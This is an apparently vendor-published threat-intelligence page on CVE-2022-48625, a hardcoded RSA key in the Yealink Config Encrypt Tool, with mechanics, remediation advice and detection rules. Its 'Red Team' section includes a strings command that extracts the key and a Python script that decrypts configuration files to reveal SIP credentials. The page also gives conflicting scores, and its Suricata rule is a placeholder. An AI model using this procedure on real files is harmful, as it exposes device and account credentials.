☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Yealink logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 🐛 CWE-321
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2022-48625

CVE-2022-48625 Security Advisory in Yealink
📅 PUBLISHED: 2024-02-19 00:00 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2022-48625 identifies a critical security flaw in the Yealink Config Encrypt Tool prior to version 1.2. The tool is used to encrypt configuration files for Yealink devices. The vulnerability stems from the use of a hardcoded RSA key pair embedded within the tool's binary. This means that any adversary who obtains a copy of the tool (or extracts the key from it) can decrypt any configuration file encrypted with that same tool. This effectively nullifies the encryption's purpose, exposing sensitive device credentials, network settings, and other confidential data.

The vulnerability is classified under CWE-321: Use of Hard-coded Cryptographic Key. The impact is severe as it allows for the decryption of configuration files without any authentication or network access, provided the attacker has access to the encrypted file. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical risk remains high for any organization using the affected tool.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone tool distributed by Yealink. The supply chain risk is that the tool itself is the compromised component, and any encrypted configuration file produced by it is inherently insecure.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the vulnerability description, a more accurate assessment would be:

  • Attack Vector (AV): Local (L) – The attacker needs access to the encrypted file.
  • Attack Complexity (AC): Low (L) – The key is embedded in the tool.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Changed (C) – The impact extends beyond the tool itself to the encrypted configurations.
  • Confidentiality (C): High (H) – Full disclosure of encrypted data.
  • Integrity (I): None (N) – The vulnerability does not allow modification.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N Estimated Score: 6.5 (Medium)

Threat Level: High. While the CVSS score is medium, the real-world impact is high because it undermines the security of all configurations encrypted with the tool.

Deep Dive & Mechanics

The Yealink Config Encrypt Tool is designed to encrypt configuration files (e.g., .cfg files) for Yealink VoIP phones and other devices. The encryption is intended to protect sensitive data like SIP credentials, network settings, and passwords.

The vulnerability is that the tool includes a hardcoded RSA private key within its binary. The encryption process uses this key to encrypt the configuration data. Since the private key is embedded, anyone who can extract it (e.g., by reverse engineering the tool) can decrypt any file encrypted with that same tool.

Mechanics:

  1. The tool generates a symmetric key (e.g., AES) to encrypt the configuration file.
  2. The symmetric key is then encrypted using the hardcoded RSA public key.
  3. The encrypted symmetric key and the encrypted configuration are stored together.
  4. To decrypt, the tool uses the hardcoded RSA private key to decrypt the symmetric key, then uses that to decrypt the configuration.

Because the private key is static and embedded, the entire scheme is broken. An attacker can:

  • Extract the private key from the tool.
  • Use it to decrypt any configuration file encrypted by any version of the tool prior to 1.2.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.2): The tool contains a hardcoded RSA private key. Example (conceptual):

# Vulnerable: Hardcoded RSA key
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"""

Patched Code (1.2+): The patched version likely generates a unique RSA key pair per installation or per encryption session, or uses a different encryption scheme. Example:

# Patched: Generate a new key pair
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)

The exact patch details are unknown, but the fix involves removing the hardcoded key and implementing proper key management.

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Decrypt a Yealink configuration file encrypted with the vulnerable tool.

Prerequisites:

  • A copy of the Yealink Config Encrypt Tool (version < 1.2).
  • An encrypted configuration file (e.g., config.cfg.enc).

Steps:

  1. Extract the RSA Private Key:

    • Use a hex editor or a tool like strings to find the key in the binary.
    • Example using strings:
      strings YealinkConfigEncryptTool.exe | grep -A 30 "BEGIN RSA PRIVATE KEY"
      
    • Save the extracted key to a file (e.g., private_key.pem).
  2. Decrypt the Configuration File:

    • Write a script to decrypt the file using the extracted key.
    • Example Python script:
      from cryptography.hazmat.primitives import serialization, hashes
      from cryptography.hazmat.primitives.asymmetric import padding
      from cryptography.hazmat.backends import default_backend
      import base64
      
      # Load the extracted private key
      with open("private_key.pem", "rb") as key_file:
          private_key = serialization.load_pem_private_key(
              key_file.read(),
              password=None,
              backend=default_backend()
          )
      
      # Read the encrypted file (format may vary)
      with open("config.cfg.enc", "rb") as f:
          encrypted_data = f.read()
      
      # Decrypt the symmetric key (first part of the file)
      encrypted_symmetric_key = encrypted_data[:256]  # RSA 2048-bit
      symmetric_key = private_key.decrypt(
          encrypted_symmetric_key,
          padding.OAEP(
              mgf=padding.MGF1(algorithm=hashes.SHA256()),
              algorithm=hashes.SHA256(),
              label=None
          )
      )
      
      # Decrypt the configuration data (rest of the file)
      from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
      iv = encrypted_data[256:272]  # AES IV
      ciphertext = encrypted_data[272:]
      cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv))
      decryptor = cipher.decryptor()
      plaintext = decryptor.update(ciphertext) + decryptor.finalize()
      
      with open("config_decrypted.cfg", "wb") as f:
          f.write(plaintext)
      
  3. Analyze the Decrypted Configuration:

    • The decrypted file will contain plaintext credentials, SIP server details, etc.

Blue Team (Defense)

Detection:

  • Monitor for unauthorized access to encrypted configuration files.
  • Detect the use of the vulnerable tool version (check file hashes).
  • Look for decryption attempts using the hardcoded key.

Mitigation:

  • Immediately upgrade to Yealink Config Encrypt Tool version 1.2 or later.
  • Re-encrypt all existing configuration files with the patched tool.
  • Rotate any credentials that were exposed in the encrypted files.

Hunting:

  • Search for the hardcoded RSA key in network traffic or file shares.
  • Use YARA rules to detect the vulnerable tool binary.

Indicators of Compromise (IOCs)

  • File Hash (SHA256) of Vulnerable Tool: UNKNOWN (specific hash not provided, but any version < 1.2 is suspect).
  • Hardcoded RSA Private Key Fingerprint: UNKNOWN (key not publicly disclosed, but can be extracted from the tool).
  • Decrypted Configuration Files: Files containing plaintext SIP credentials, admin passwords, etc.
  • Network Traffic: Unusual access to configuration files or decryption attempts.

Detection Engineering

YARA Rule

Detect the hardcoded RSA key in the binary.

rule Yealink_Hardcoded_RSA_Key {
    meta:
        description = "Detects Yealink Config Encrypt Tool with hardcoded RSA private key"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-48625"
    strings:
        $rsa_key = "-----BEGIN RSA PRIVATE KEY-----" ascii wide nocase
        $yealink_str = "Yealink Config Encrypt Tool" ascii wide nocase
    condition:
        $rsa_key and $yealink_str
}

Sigma Rule

Detect execution of the vulnerable tool.

title: Yealink Config Encrypt Tool Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of the vulnerable Yealink Config Encrypt Tool
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\YealinkConfigEncryptTool.exe'
    condition: selection
falsepositives:
    - Legitimate use of patched version (1.2+)
level: high

Suricata Rule

Detect network transfer of encrypted configuration files.

alert tcp any any -> any any (msg:"Yealink Encrypted Config File Transfer"; flow:to_server; content:"|00 00 00 00|"; depth:4; content:"|2E 63 66 67|"; distance:0; within:4; sid:1000001; rev:1;)

Note: The above rule is a placeholder. Actual detection would require knowledge of the file format.

Remediation & Mitigation

  1. Immediate Action:

    • Upgrade to Yealink Config Encrypt Tool version 1.2 or later.
    • Re-encrypt all configuration files that were encrypted with the vulnerable tool.
    • Rotate all credentials (SIP passwords, admin passwords, etc.) that were in the encrypted files.
  2. Long-term Measures:

    • Implement a key management system (KMS) for encryption keys.
    • Use unique keys per device or per encryption session.
    • Regularly audit tools and software for hardcoded secrets.
  3. Detection:

    • Deploy the YARA and Sigma rules provided.
    • Monitor for any decryption attempts using the hardcoded key.
  4. Vendor Communication:

    • Contact Yealink for official patch details and guidance.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Yealink Config Encrypt Tool
Yealink RSA key

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2022-48625/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.